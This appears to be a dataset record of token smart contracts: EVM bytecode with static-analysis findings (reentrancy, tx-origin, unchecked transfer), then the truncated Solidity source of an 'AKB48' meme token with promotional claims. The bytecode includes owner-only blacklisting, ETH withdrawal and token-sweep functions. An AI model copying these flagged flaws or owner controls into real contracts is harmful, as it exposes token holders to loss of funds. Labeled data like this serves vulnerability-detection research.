ffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601760046101000a81548160ff02191690831515021790555050565b6000600a54905090565b6000611354848484612e0b565b61141584611360612c0c565b611410856040518060600160405280602881526020016149ec60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113c6612c0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139039092919063ffffffff16565b612c14565b600190509392505050565b611428612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00810260188190555050565b601760039054906101000a900460ff1681565b6000600e60009054906101000a900460ff16905090565b60006115cb61152f612c0c565b846115c68560046000611540612c0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c390919063ffffffff16565b612c14565b6001905092915050565b6115dd612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461169d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb828473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561172157600080fd5b505afa158015611735573d6000803e3d6000fd5b505050506040513d602081101561174b57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117af57600080fd5b505af11580156117c3573d6000803e3d6000fd5b505050506040513d60208110156117d957600080fd5b8101908080519060200190929190505050505050565b6117f7612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601760006101000a81548160ff02191690831515021790555050565b600f5481565b6118e2612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b7f000000000000000000000000cebbba8fefbcc033cf573063cca3822c1228f3f681565b601460019054906101000a900460ff1681565b601760019054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611aa5612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611bc8612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00810260168190555050565b611ca0612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601760036101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611dce612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e8e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611f54612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612014576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601760026101000a81548160ff02191690831515021790555050565b612039612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561213f573d6000803e3d6000fd5b5050565b601760049054906101000a900460ff1681565b60155481565b612164612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612224576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561226a573d6000803e3d6000fd5b5050565b60115481565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561233b5780601f106123105761010080835404028352916020019161233b565b820191906000526020600020905b81548152906001019060200180831161231e57829003601f168201915b5050505050905090565b61234d612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461240d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601760016101000a81548160ff02191690831515021790555050565b60006124ed612437612c0c565b846124e885604051806060016040528060258152602001614a866025913960046000612461612c0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139039092919063ffffffff16565b612c14565b6001905092915050565b6124ff612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600960006101000a81548160ff02191690831515021790555043600f81905550565b60006125f76125f0612c0c565b8484612e0b565b6001905092915050565b601760029054906101000a900460ff1681565b61261c612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601460016101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405180821515815260200191505060405180910390a150565b60185481565b6000600b54905090565b601460029054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6127e4612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612907612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146129c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600e60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612a13612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ad3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00810260158190555050565b612aeb612c0c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612bab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600b5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614a626024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806149816022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614a3d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612f17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061495e6023913960400191505060405180910390fd5b60008111612f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180614a146029913960400191505060405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156130145750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61301d57600080fd5b600960009054906101000a900460ff166130715761303961227a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461307057600080fd5b5b601760019054906101000a900460ff161561315e5761308e61227a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156130fc57506130cc61227a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561315d5760155481111561315c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806149a36028913960400191505060405180910390fd5b5b5b601760049054906101000a900460ff16156133955761317b61227a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156131e257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561323a57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561329257507f000000000000000000000000cebbba8fefbcc033cf573063cca3822c1228f3f673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561339457601e4201600360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561334f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f436f6f6c646f776e20696e20656666656374000000000000000000000000000081525060200191505060405180910390fd5b42600360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601760029054906101000a900460ff16156134c8577f000000000000000000000000cebbba8fefbcc033cf573063cca3822c1228f3f673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561345157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561348957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156134c7578173ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16146134c657600080fd5b5b5b601760009054906101000a900460ff1615613670577f000000000000000000000000cebbba8fefbcc033cf573063cca3822c1228f3f673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561356b575061353b61227a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156135aa575061357a61227a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561360257507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561363a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561366f57600061364a83611d7d565b905060165461366283836139c390919063ffffffff16565b111561366d57600080fd5b505b5b600061367b30611d7d565b9050601554811061368c5760155490505b600060185482101590508080156136b05750601460009054906101000a900460ff16155b801561370857507f000000000000000000000000cebbba8fefbcc033cf573063cca3822c1228f3f673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156137205750601460019054906101000a900460ff165b1561373457601854915061373382613a4b565b5b600060019050600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806137db5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156137e557600090505b7f000000000000000000000000cebbba8fefbcc033cf573063cca3822c1228f3f673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614801561386c57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156138c457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156138de576003601081905550600a6011819055506138ef565b600a60108190555060036011819055505b6138fb86868684613baf565b505050505050565b60008383111582906139b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561397557808201518184015260208101905061395a565b50505050905090810190601f1680156139a25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015613a41576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6001601460006101000a81548160ff0219169083151502179055506000613a7c60058361414590919063ffffffff16565b90506000613a9460028361414590919063ffffffff16565b90506000613aab828561418f90919063ffffffff16565b90506000479050613abb826141d9565b6000613ad0824761418f90919063ffffffff16565b9050613adc8482614487565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015613b44573d6000803e3d6000fd5b507f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828660405180848152602001838152602001828152602001935050505060405180910390a150505050506000601460006101000a81548160ff02191690831515021790555050565b601460029054906101000a900460ff1615613d1057600f544311158015613c2157507f000000000000000000000000cebbba8fefbcc033cf573063cca3822c1228f3f673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015613c7957507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015613cb157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613d0f576001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b80613d1e57613d1d6145d8565b5b6000613d486064613d3a6010548661461b90919063ffffffff16565b61414590919063ffffffff16565b90506000613d746064613d666011548761461b90919063ffffffff16565b61414590919063ffffffff16565b90506000613d8b838661418f90919063ffffffff16565b90506000613db484613da6858961418f90919063ffffffff16565b61418f90919063ffffffff16565b9050613dc088856146a1565b613dc9836147eb565b613e1b82600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461418f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613eb081600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c390919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601760039054906101000a900460ff168015613f5b57507f000000000000000000000000cebbba8fefbcc033cf573063cca3822c1228f3f673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b8015613f9357503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b8015613feb57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b801561409857507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16148061409757507f000000000000000000000000cebbba8fefbcc033cf573063cca3822c1228f3f673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b5b156140c8576140c77f000000000000000000000000cebbba8fefbcc033cf573063cca3822c1228f3f6856146a1565b5b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38461413b5761413a614883565b5b5050505050505050565b600061418783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614897565b905092915050565b60006141d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613903565b905092915050565b6000600267ffffffffffffffff811180156141f357600080fd5b506040519080825280602002602001820160405280156142225781602001602082028036833780820191505090505b509050308160008151811061423357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156142d357600080fd5b505afa1580156142e7573d6000803e3d6000fd5b505050506040513d60208110156142fd57600080fd5b81019080805190602001909291905050508160018151811061431b57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050614380307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612c14565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015614442578082015181840152602081019050614427565b505050509050019650505050505050600060405180830381600087803b15801561446b57600080fd5b505af115801561447f573d6000803e3d6000fd5b505050505050565b6144b2307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612c14565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806144fc61227a565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561458157600080fd5b505af1158015614595573d6000803e3d6000fd5b50505050506040513d60608110156145ac57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b60006010541480156145ec57506000601154145b156145f657614619565b601054601281905550601154601381905550600060108190555060006011819055505b565b60008083141561462e576000905061469b565b600082840290508284828161463f57fe5b0414614696576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806149cb6021913960400191505060405180910390fd5b809150505b92915050565b6146aa82611d7d565b8111156146b657600080fd5b61470881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461418f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061476081600a5461418f90919063ffffffff16565b600a8190555061477b81600b546139c390919063ffffffff16565b600b81905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61483d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139c390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b601254601081905550601354601181905550565b60008083118290614943576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156149085780820151818401526020810190506148ed565b50505050905090810190601f1680156149355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161494f57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ecd21b7af566d9c86cec9bcf53dd0e385ca085cf0a01877e76e25f34e29d4f9c64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,880
0x872ca602baD7Bb0920cEb44Cc6623e5F6abAe91e
// SPDX-License-Identifier: Unlicensed /** * 100% UNISWAP LIQUIDITY LAUNCH * AKB48 $AKB48 * ANTI BOT MECHANISM * A token with automatic * buyback mechanisms thus increasing floor price of tokens * MADE BY DEGEN DEV FOR ALL DEGENS * CMC and COINGECKO APPLIED (LISTING IN A WEEK) * 2021 Β© AKB48 | All rights reserved */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AKB48 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "AKB48_Token"; string private constant _symbol = "AKB48"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool 